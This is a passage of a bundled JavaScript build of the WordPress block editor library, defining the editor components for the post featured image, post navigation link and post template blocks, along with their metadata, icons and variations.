39446 hasValue: () => !!rel,
39447 onDeselect: () => setAttributes({
39448 rel: ""
39449 }),
39450 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39451 external_wp_components_namespaceObject.TextControl,
39452 {
39453 __next40pxDefaultSize: true,
39454 __nextHasNoMarginBottom: true,
39455 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
39456 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
39457 (0,external_wp_i18n_namespaceObject.__)(
39458 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
39459 ),
39460 {
39461 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
39462 }
39463 ),
39464 value: rel,
39465 onChange: (newRel) => setAttributes({ rel: newRel })
39466 }
39467 )
39468 }
39469 ),
39470 !!media && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39471 FeaturedImageResolutionTool,
39472 {
39473 image: media,
39474 value: sizeSlug,
39475 onChange: (nextSizeSlug) => setAttributes({ sizeSlug: nextSizeSlug })
39476 }
39477 )
39478 ]
39479 }
39480 ) })
39481 ] });
39482 let image;
39483 if (!featuredImage && (isDescendentOfQueryLoop || !postId)) {
39484 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39485 controls,
39486 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
39487 !!isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: postPermalink, target: linkTarget, children: placeholder() }) : placeholder(),
39488 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39489 overlay_default,
39490 {
39491 attributes,
39492 setAttributes,
39493 clientId
39494 }
39495 )
39496 ] })
39497 ] });
39498 }
39499 const label = (0,external_wp_i18n_namespaceObject.__)("Add a featured image");
39500 const imageStyles = {
39501 ...borderProps.style,
39502 ...shadowProps.style,
39503 height: aspectRatio ? "100%" : height,
39504 width: !!aspectRatio && "100%",
39505 objectFit: !!(height || aspectRatio) && scale
39506 };
39507 if (!featuredImage && !temporaryURL) {
39508 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39509 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
39510 {
39511 onSelect: onSelectImage,
39512 accept: "image/*",
39513 allowedTypes: post_featured_image_edit_ALLOWED_MEDIA_TYPES,
39514 onError: onUploadError,
39515 placeholder,
39516 mediaLibraryButton: ({ open }) => {
39517 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39518 external_wp_components_namespaceObject.Button,
39519 {
39520 __next40pxDefaultSize: true,
39521 icon: upload_default,
39522 variant: "primary",
39523 label,
39524 showTooltip: true,
39525 tooltipPosition: "top center",
39526 onClick: () => {
39527 open();
39528 }
39529 }
39530 );
39531 }
39532 }
39533 );
39534 } else {
39535 image = !media && !temporaryURL ? placeholder() : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39536 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39537 "img",
39538 {
39539 className: borderProps.className,
39540 src: temporaryURL || mediaUrl,
39541 alt: media && media?.alt_text ? (0,external_wp_i18n_namespaceObject.sprintf)(
39542 // translators: %s: The image's alt text.
39543 (0,external_wp_i18n_namespaceObject.__)("Featured image: %s"),
39544 media.alt_text
39545 ) : (0,external_wp_i18n_namespaceObject.__)("Featured image"),
39546 style: imageStyles
39547 }
39548 ),
39549 temporaryURL && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
39550 ] });
39551 }
39552 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39553 !temporaryURL && controls,
39554 !!media && !isDescendentOfQueryLoop && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39555 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
39556 {
39557 mediaId: featuredImage,
39558 mediaURL: mediaUrl,
39559 allowedTypes: post_featured_image_edit_ALLOWED_MEDIA_TYPES,
39560 accept: "image/*",
39561 onSelect: onSelectImage,
39562 onError: onUploadError,
39563 onReset: onResetImage
39564 }
39565 ) }),
39566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...blockProps, children: [
39567 !!isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: postPermalink, target: linkTarget, children: image }) : image,
39568 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39569 overlay_default,
39570 {
39571 attributes,
39572 setAttributes,
39573 clientId
39574 }
39575 )
39576 ] })
39577 ] });
39578}
39579
39580
39581;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/index.js
39582
39583
39584
39585
39586const { name: post_featured_image_name } = post_featured_image_block_namespaceObject;
39587const post_featured_image_settings = {
39588 icon: post_featured_image_default,
39589 edit: PostFeaturedImageEdit
39590};
39591const post_featured_image_init = () => initBlock({ name: post_featured_image_name, metadata: post_featured_image_block_namespaceObject, settings: post_featured_image_settings });
39592
39593
39594;// ./node_modules/@wordpress/block-library/build-module/post-navigation-link/block.json
39595const post_navigation_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-navigation-link","title":"Post Navigation Link","category":"theme","description":"Displays the next or previous post link that is adjacent to the current post.","textdomain":"default","attributes":{"textAlign":{"type":"string"},"type":{"type":"string","default":"next"},"label":{"type":"string","role":"content"},"showTitle":{"type":"boolean","default":false},"linkLabel":{"type":"boolean","default":false},"arrow":{"type":"string","default":"none"},"taxonomy":{"type":"string","default":""}},"usesContext":["postType"],"supports":{"reusable":false,"html":false,"color":{"link":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-post-navigation-link"}');
39596;// ./node_modules/@wordpress/block-library/build-module/post-navigation-link/edit.js
39597
39598
39599
39600
39601
39602
39603
39604
39605function PostNavigationLinkEdit({
39606 context: { postType },
39607 attributes: {
39608 type,
39609 label,
39610 showTitle,
39611 textAlign,
39612 linkLabel,
39613 arrow,
39614 taxonomy
39615 },
39616 setAttributes
39617}) {
39618 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
39619 const showControls = blockEditingMode === "default";
39620 const isNext = type === "next";
39621 let placeholder = isNext ? (0,external_wp_i18n_namespaceObject.__)("Next") : (0,external_wp_i18n_namespaceObject.__)("Previous");
39622 const arrowMap = {
39623 none: "",
39624 arrow: isNext ? "\u2192" : "\u2190",
39625 chevron: isNext ? "\xBB" : "\xAB"
39626 };
39627 const displayArrow = arrowMap[arrow];
39628 if (showTitle) {
39629 placeholder = isNext ? (
39630 /* translators: Label before for next and previous post. There is a space after the colon. */
39631 (0,external_wp_i18n_namespaceObject.__)("Next: ")
39632 ) : (
39633 /* translators: Label before for next and previous post. There is a space after the colon. */
39634 (0,external_wp_i18n_namespaceObject.__)("Previous: ")
39635 );
39636 }
39637 const ariaLabel = isNext ? (0,external_wp_i18n_namespaceObject.__)("Next post") : (0,external_wp_i18n_namespaceObject.__)("Previous post");
39638 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
39639 className: dist_clsx({
39640 [`has-text-align-${textAlign}`]: textAlign
39641 })
39642 });
39643 const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(
39644 (select) => {
39645 const { getTaxonomies } = select(external_wp_coreData_namespaceObject.store);
39646 const filteredTaxonomies = getTaxonomies({
39647 type: postType,
39648 per_page: -1
39649 });
39650 return filteredTaxonomies;
39651 },
39652 [postType]
39653 );
39654 const getTaxonomyOptions = () => {
39655 const selectOption = {
39656 label: (0,external_wp_i18n_namespaceObject.__)("Unfiltered"),
39657 value: ""
39658 };
39659 const taxonomyOptions = (taxonomies ?? []).filter(({ visibility }) => !!visibility?.publicly_queryable).map((item) => {
39660 return {
39661 value: item.slug,
39662 label: item.name
39663 };
39664 });
39665 return [selectOption, ...taxonomyOptions];
39666 };
39667 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
39668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39669 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
39670 external_wp_components_namespaceObject.__experimentalToolsPanel,
39671 {
39672 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
39673 resetAll: () => {
39674 setAttributes({
39675 showTitle: false,
39676 linkLabel: false,
39677 arrow: "none"
39678 });
39679 },
39680 dropdownMenuProps,
39681 children: [
39682 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39683 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39684 {
39685 label: (0,external_wp_i18n_namespaceObject.__)("Display the title as a link"),
39686 isShownByDefault: true,
39687 hasValue: () => showTitle,
39688 onDeselect: () => setAttributes({ showTitle: false }),
39689 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39690 external_wp_components_namespaceObject.ToggleControl,
39691 {
39692 __nextHasNoMarginBottom: true,
39693 label: (0,external_wp_i18n_namespaceObject.__)("Display the title as a link"),
39694 help: (0,external_wp_i18n_namespaceObject.__)(
39695 "If you have entered a custom label, it will be prepended before the title."
39696 ),
39697 checked: !!showTitle,
39698 onChange: () => setAttributes({
39699 showTitle: !showTitle
39700 })
39701 }
39702 )
39703 }
39704 ),
39705 showTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39706 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39707 {
39708 label: (0,external_wp_i18n_namespaceObject.__)(
39709 "Include the label as part of the link"
39710 ),
39711 isShownByDefault: true,
39712 hasValue: () => !!linkLabel,
39713 onDeselect: () => setAttributes({ linkLabel: false }),
39714 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39715 external_wp_components_namespaceObject.ToggleControl,
39716 {
39717 __nextHasNoMarginBottom: true,
39718 label: (0,external_wp_i18n_namespaceObject.__)(
39719 "Include the label as part of the link"
39720 ),
39721 checked: !!linkLabel,
39722 onChange: () => setAttributes({
39723 linkLabel: !linkLabel
39724 })
39725 }
39726 )
39727 }
39728 ),
39729 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39730 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39731 {
39732 label: (0,external_wp_i18n_namespaceObject.__)("Arrow"),
39733 isShownByDefault: true,
39734 hasValue: () => arrow !== "none",
39735 onDeselect: () => setAttributes({ arrow: "none" }),
39736 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
39737 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
39738 {
39739 __next40pxDefaultSize: true,
39740 __nextHasNoMarginBottom: true,
39741 label: (0,external_wp_i18n_namespaceObject.__)("Arrow"),
39742 value: arrow,
39743 onChange: (value) => {
39744 setAttributes({ arrow: value });
39745 },
39746 help: (0,external_wp_i18n_namespaceObject.__)(
39747 "A decorative arrow for the next and previous link."
39748 ),
39749 isBlock: true,
39750 children: [
39751 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39752 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
39753 {
39754 value: "none",
39755 label: (0,external_wp_i18n_namespaceObject._x)(
39756 "None",
39757 "Arrow option for Next/Previous link"
39758 )
39759 }
39760 ),
39761 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39762 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
39763 {
39764 value: "arrow",
39765 label: (0,external_wp_i18n_namespaceObject._x)(
39766 "Arrow",
39767 "Arrow option for Next/Previous link"
39768 )
39769 }
39770 ),
39771 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39772 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
39773 {
39774 value: "chevron",
39775 label: (0,external_wp_i18n_namespaceObject._x)(
39776 "Chevron",
39777 "Arrow option for Next/Previous link"
39778 )
39779 }
39780 )
39781 ]
39782 }
39783 )
39784 }
39785 )
39786 ]
39787 }
39788 ) }),
39789 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39790 external_wp_components_namespaceObject.SelectControl,
39791 {
39792 __next40pxDefaultSize: true,
39793 __nextHasNoMarginBottom: true,
39794 label: (0,external_wp_i18n_namespaceObject.__)("Filter by taxonomy"),
39795 value: taxonomy,
39796 options: getTaxonomyOptions(),
39797 onChange: (value) => setAttributes({
39798 taxonomy: value
39799 }),
39800 help: (0,external_wp_i18n_namespaceObject.__)(
39801 "Only link to posts that have the same taxonomy terms as the current post. For example the same tags or categories."
39802 )
39803 }
39804 ) }),
39805 showControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39806 external_wp_blockEditor_namespaceObject.AlignmentToolbar,
39807 {
39808 value: textAlign,
39809 onChange: (nextAlign) => {
39810 setAttributes({ textAlign: nextAlign });
39811 }
39812 }
39813 ) }),
39814 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
39815 !isNext && displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39816 "span",
39817 {
39818 className: `wp-block-post-navigation-link__arrow-previous is-arrow-${arrow}`,
39819 children: displayArrow
39820 }
39821 ),
39822 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39823 external_wp_blockEditor_namespaceObject.RichText,
39824 {
39825 tagName: "a",
39826 identifier: "label",
39827 "aria-label": ariaLabel,
39828 placeholder,
39829 value: label,
39830 withoutInteractiveFormatting: true,
39831 onChange: (newLabel) => setAttributes({ label: newLabel })
39832 }
39833 ),
39834 showTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39835 "a",
39836 {
39837 href: "#post-navigation-pseudo-link",
39838 onClick: (event) => event.preventDefault(),
39839 children: (0,external_wp_i18n_namespaceObject.__)("An example title")
39840 }
39841 ),
39842 isNext && displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39843 "span",
39844 {
39845 className: `wp-block-post-navigation-link__arrow-next is-arrow-${arrow}`,
39846 "aria-hidden": true,
39847 children: displayArrow
39848 }
39849 )
39850 ] })
39851 ] });
39852}
39853
39854
39855;// ./node_modules/@wordpress/icons/build-module/library/previous.js
39856
39857
39858var previous_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });
39859
39860
39861;// ./node_modules/@wordpress/icons/build-module/library/next.js
39862
39863
39864var next_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });
39865
39866
39867;// ./node_modules/@wordpress/block-library/build-module/post-navigation-link/variations.js
39868
39869
39870const post_navigation_link_variations_variations = [
39871 {
39872 name: "post-previous",
39873 title: (0,external_wp_i18n_namespaceObject.__)("Previous Post"),
39874 description: (0,external_wp_i18n_namespaceObject.__)(
39875 "Displays the post link that precedes the current post."
39876 ),
39877 icon: previous_default,
39878 attributes: { type: "previous" },
39879 scope: ["inserter", "transform"],
39880 example: {
39881 attributes: {
39882 label: (0,external_wp_i18n_namespaceObject.__)("Previous post"),
39883 arrow: "arrow"
39884 }
39885 }
39886 },
39887 {
39888 isDefault: true,
39889 name: "post-next",
39890 title: (0,external_wp_i18n_namespaceObject.__)("Next Post"),
39891 description: (0,external_wp_i18n_namespaceObject.__)(
39892 "Displays the post link that follows the current post."
39893 ),
39894 icon: next_default,
39895 attributes: { type: "next" },
39896 scope: ["inserter", "transform"],
39897 example: {
39898 attributes: {
39899 label: (0,external_wp_i18n_namespaceObject.__)("Next post"),
39900 arrow: "arrow"
39901 }
39902 }
39903 }
39904];
39905post_navigation_link_variations_variations.forEach((variation) => {
39906 if (variation.isActive) {
39907 return;
39908 }
39909 variation.isActive = (blockAttributes, variationAttributes) => blockAttributes.type === variationAttributes.type;
39910});
39911var post_navigation_link_variations_variations_default = post_navigation_link_variations_variations;
39912
39913
39914;// ./node_modules/@wordpress/block-library/build-module/post-navigation-link/index.js
39915
39916
39917
39918
39919
39920const { name: post_navigation_link_name } = post_navigation_link_block_namespaceObject;
39921const post_navigation_link_settings = {
39922 edit: PostNavigationLinkEdit,
39923 variations: post_navigation_link_variations_variations_default,
39924 example: {
39925 attributes: {
39926 label: (0,external_wp_i18n_namespaceObject.__)("Next post"),
39927 arrow: "arrow"
39928 }
39929 }
39930};
39931const post_navigation_link_init = () => initBlock({ name: post_navigation_link_name, metadata: post_navigation_link_block_namespaceObject, settings: post_navigation_link_settings });
39932
39933
39934;// ./node_modules/@wordpress/block-library/build-module/post-template/block.json
39935const post_template_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-template","title":"Post Template","category":"theme","ancestor":["core/query"],"description":"Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.","textdomain":"default","usesContext":["queryId","query","displayLayout","templateSlug","previewPostType","enhancedPagination","postType"],"supports":{"reusable":false,"html":false,"align":["wide","full"],"layout":true,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"spacing":{"margin":true,"padding":true,"blockGap":{"__experimentalDefault":"1.25em"},"__experimentalDefaultControls":{"blockGap":true,"padding":false,"margin":false}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}},"style":"wp-block-post-template","editorStyle":"wp-block-post-template-editor"}');
39936;// ./node_modules/@wordpress/block-library/build-module/post-template/edit.js
39937
39938
39939
39940
39941
39942
39943
39944
39945
39946const post_template_edit_TEMPLATE = [
39947 ["core/post-title"],
39948 [
39949 "core/post-date",
39950 {
39951 metadata: {
39952 bindings: {
39953 datetime: {
39954 source: "core/post-data",
39955 args: { field: "date" }
39956 }
39957 }
39958 }
39959 }
39960 ],
39961 ["core/post-excerpt"]
39962];
39963function PostTemplateInnerBlocks({ classList }) {
39964 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
39965 { className: dist_clsx("wp-block-post", classList) },
39966 { template: post_template_edit_TEMPLATE, __unstableDisableLayoutClassNames: true }
39967 );
39968 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { ...innerBlocksProps });
39969}
39970function PostTemplateBlockPreview({
39971 blocks,
39972 blockContextId,
39973 classList,
39974 isHidden,
39975 setActiveBlockContextId
39976}) {
39977 const blockPreviewProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBlockPreview)({
39978 blocks,
39979 props: {
39980 className: dist_clsx("wp-block-post", classList)
39981 }
39982 });
39983 const handleOnClick = () => {
39984 setActiveBlockContextId(blockContextId);
39985 };
39986 const style = {
39987 display: isHidden ? "none" : void 0
39988 };
39989 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39990 "li",
39991 {
39992 ...blockPreviewProps,
39993 tabIndex: 0,
39994 role: "button",
39995 onClick: handleOnClick,
39996 onKeyPress: handleOnClick,
39997 style
39998 }
39999 );
40000}
40001const MemoizedPostTemplateBlockPreview = (0,external_wp_element_namespaceObject.memo)(PostTemplateBlockPreview);
40002function PostTemplateEdit({
40003 setAttributes,
40004 clientId,
40005 context: {
40006 query: {
40007 perPage,
40008 offset = 0,
40009 postType,
40010 order,
40011 orderBy,
40012 author,
40013 search,
40014 exclude,
40015 sticky,
40016 inherit,
40017 taxQuery,
40018 parents,
40019 pages,
40020 format,
40021 // We gather extra query args to pass to the REST API call.
40022 // This way extenders of Query Loop can add their own query args,
40023 // and have accurate previews in the editor.
40024 // Noting though that these args should either be supported by the
40025 // REST API or be handled by custom REST filters like `rest_{$this->post_type}_query`.
40026 ...restQueryArgs
40027 } = {},
40028 templateSlug,
40029 previewPostType
40030 },
40031 attributes: { layout },
40032 __unstableLayoutClassNames
40033}) {
40034 const { type: layoutType, columnCount = 3 } = layout || {};
40035 const [activeBlockContextId, setActiveBlockContextId] = (0,external_wp_element_namespaceObject.useState)();
40036 const { posts, blocks } = (0,external_wp_data_namespaceObject.useSelect)(
40037 (select) => {
40038 const { getEntityRecords, getTaxonomies } = select(external_wp_coreData_namespaceObject.store);
40039 const { getBlocks } = select(external_wp_blockEditor_namespaceObject.store);
40040 const templateCategory = inherit && templateSlug?.startsWith("category-") && getEntityRecords("taxonomy", "category", {
40041 context: "view",
40042 per_page: 1,
40043 _fields: ["id"],
40044 slug: templateSlug.replace("category-", "")
40045 });
40046 const templateTag = inherit && templateSlug?.startsWith("tag-") && getEntityRecords("taxonomy", "post_tag", {
40047 context: "view",
40048 per_page: 1,
40049 _fields: ["id"],
40050 slug: templateSlug.replace("tag-", "")
40051 });
40052 const query = {
40053 offset: offset || 0,
40054 order,
40055 orderby: orderBy
40056 };
40057 if (taxQuery && !inherit) {
40058 const taxonomies = getTaxonomies({
40059 type: postType,
40060 per_page: -1,
40061 context: "view"
40062 });
40063 const builtTaxQuery = Object.entries(taxQuery).reduce(
40064 (accumulator, [taxonomySlug, terms]) => {
40065 const taxonomy = taxonomies?.find(
40066 ({ slug }) => slug === taxonomySlug
40067 );
40068 if (taxonomy?.rest_base) {
40069 accumulator[taxonomy?.rest_base] = terms;
40070 }
40071 return accumulator;
40072 },
40073 {}
40074 );
40075 if (!!Object.keys(builtTaxQuery).length) {
40076 Object.assign(query, builtTaxQuery);
40077 }
40078 }
40079 if (perPage) {
40080 query.per_page = perPage;
40081 }
40082 if (author) {
40083 query.author = author;
40084 }
40085 if (search) {
40086 query.search = search;
40087 }
40088 if (exclude?.length) {
40089 query.exclude = exclude;
40090 }
40091 if (parents?.length) {
40092 query.parent = parents;
40093 }
40094 if (format?.length) {
40095 query.format = format;
40096 }
40097 if (["exclude", "only"].includes(sticky)) {
40098 query.sticky = sticky === "only";
40099 }
40100 if (["", "ignore"].includes(sticky)) {
40101 delete query.sticky;
40102 query.ignore_sticky = sticky === "ignore";
40103 }
40104 let currentPostType = postType;
40105 if (inherit) {
40106 if (templateSlug?.startsWith("archive-")) {
40107 query.postType = templateSlug.replace("archive-", "");
40108 currentPostType = query.postType;
40109 } else if (templateCategory) {
40110 query.categories = templateCategory[0]?.id;
40111 } else if (templateTag) {
40112 query.tags = templateTag[0]?.id;
40113 } else if (templateSlug?.startsWith("taxonomy-post_format")) {
40114 query.format = templateSlug.replace(
40115 "taxonomy-post_format-post-format-",
40116 ""
40117 );
40118 }
40119 }
40120 const usedPostType = previewPostType || currentPostType;
40121 return {
40122 posts: getEntityRecords("postType", usedPostType, {
40123 ...query,
40124 ...restQueryArgs
40125 }),
40126 blocks: getBlocks(clientId)
40127 };
40128 },
40129 [
40130 perPage,
40131 offset,
40132 order,
40133 orderBy,
40134 clientId,
40135 author,
40136 search,
40137 postType,
40138 exclude,
40139 sticky,
40140 inherit,
40141 templateSlug,
40142 taxQuery,
40143 parents,
40144 format,
40145 restQueryArgs,
40146 previewPostType
40147 ]
40148 );
40149 const blockContexts = (0,external_wp_element_namespaceObject.useMemo)(
40150 () => posts?.map((post) => ({
40151 postType: post.type,
40152 postId: post.id,
40153 classList: post.class_list ?? ""
40154 })),
40155 [posts]
40156 );
40157 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
40158 className: dist_clsx(__unstableLayoutClassNames, {
40159 [`columns-${columnCount}`]: layoutType === "grid" && columnCount
40160 // Ensure column count is flagged via classname for backwards compatibility.
40161 })
40162 });
40163 if (!posts) {
40164 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
40165 }
40166 if (!posts.length) {
40167 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { ...blockProps, children: [
40168 " ",
40169 (0,external_wp_i18n_namespaceObject.__)("No results found.")
40170 ] });
40171 }
40172 const setDisplayLayout = (newDisplayLayout) => setAttributes({
40173 layout: { ...layout, ...newDisplayLayout }
40174 });
40175 const displayLayoutControls = [
40176 {
40177 icon: list_default,
40178 title: (0,external_wp_i18n_namespaceObject._x)("List view", "Post template block display setting"),
40179 onClick: () => setDisplayLayout({ type: "default" }),
40180 isActive: layoutType === "default" || layoutType === "constrained"
40181 },
40182 {
40183 icon: grid_default,
40184 title: (0,external_wp_i18n_namespaceObject._x)("Grid view", "Post template block display setting"),
40185 onClick: () => setDisplayLayout({
40186 type: "grid",
40187 columnCount
40188 }),
40189 isActive: layoutType === "grid"
40190 }
40191 ];
40192 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40193 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { controls: displayLayoutControls }) }),
40194 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...blockProps, children: blockContexts && blockContexts.map((blockContext) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40195 external_wp_blockEditor_namespaceObject.BlockContextProvider,
40196 {
40197 value: blockContext,
40198 children: [
40199 blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40200 PostTemplateInnerBlocks,
40201 {
40202 classList: blockContext.classList
40203 }
40204 ) : null,
40205 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40206 MemoizedPostTemplateBlockPreview,
40207 {
40208 blocks,
40209 blockContextId: blockContext.postId,
40210 classList: blockContext.classList,
40211 setActiveBlockContextId,
40212 isHidden: blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId)
40213 }
40214 )
40215 ]
40216 },
40217 blockContext.postId
40218 )) })
40219 ] });
40220}
40221
40222
40223;// ./node_modules/@wordpress/block-library/build-module/post-template/save.js
40224
40225
40226function PostTemplateSave() {
40227 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
40228}
40229
40230
40231;// ./node_modules/@wordpress/block-library/build-module/post-template/index.js
40232
40233
40234
40235
40236
40237const { name: post_template_name } = post_template_block_namespaceObject;
40238const post_template_settings = {
40239 icon: layout_default,
40240 edit: PostTemplateEdit,
40241 save: PostTemplateSave
40242};
40243const post_template_init = () => initBlock({ name: post_template_name, metadata: post_template_block_namespaceObject, settings: post_template_settings });
40244
40245
40246;// ./node_modules/@wordpress/icons/build-module/library/post-categories.js
40247
40248
40249var post_categories_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40250 external_wp_primitives_namespaceObject.Path,
40251 {
